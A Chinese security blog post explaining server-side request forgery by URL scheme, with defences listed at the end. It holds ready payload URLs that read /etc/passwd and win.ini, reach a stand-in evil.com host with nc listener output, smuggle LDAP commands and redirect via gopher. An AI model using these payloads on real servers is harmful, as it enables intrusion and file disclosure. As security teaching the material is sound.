• jQuery火箭图标返回顶部代码


    当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

    0x01 类型

    file:///
    dict://
    sftp://
    ldap://
    tftp://
    gopher://
    

    file://

    这种URL Schema可以尝试从文件系统中获取文件:

    http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
    

    如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

    dict://

    这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

    http://example.com/ssrf.php?dict://evil.com:1337/ 
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*] 
    accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
    

    sftp://

    在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

    http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
    evil.com:$ nc -lvp 1337
    Connection from [192.168.0.12] port 1337[tcp/*] 
    accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
    

    ldap://或ldaps:// 或ldapi://

    LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

    http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
    

    tftp://

    TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

    http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
    evil.com:# nc -lvup 1337
    Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
    

    gopher://

    Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

    http://example.com/ssrf.php?url=http://attacker.com/gopher.php
    
    <?php  header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>
    
    evil.com:# nc -lvp 1337
    Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
    

    0x02 防御

    1.禁止跳转
    2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
    3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
    4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
    5.限制请求的端口为http常用的端口,比如 80、443、8080、8090
    6.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
    

    0x03 参考链接

    https://xz.aliyun.com/t/6373#toc-8

  • 相关阅读:
    设计模式(十五)---桥梁模式
    设计模式(十四)---门面模式
    设计模式(十三)---享元模式
    设计模式(十二)---代理模式
    设计模式(十一)---装饰者模式
    设计模式(十)---合成模式
    设计模式(九)---缺省适配器模式
    设计模式(八)---适配器模式
    设计模式(七)---原始模型模式
    一张图看懂JavaScript中数组的迭代方法:forEach、map、filter、reduce、every、some
  • 原文地址:https://www.cnblogs.com/-mo-/p/11673190.html
Copyright © 2020-2023  润新知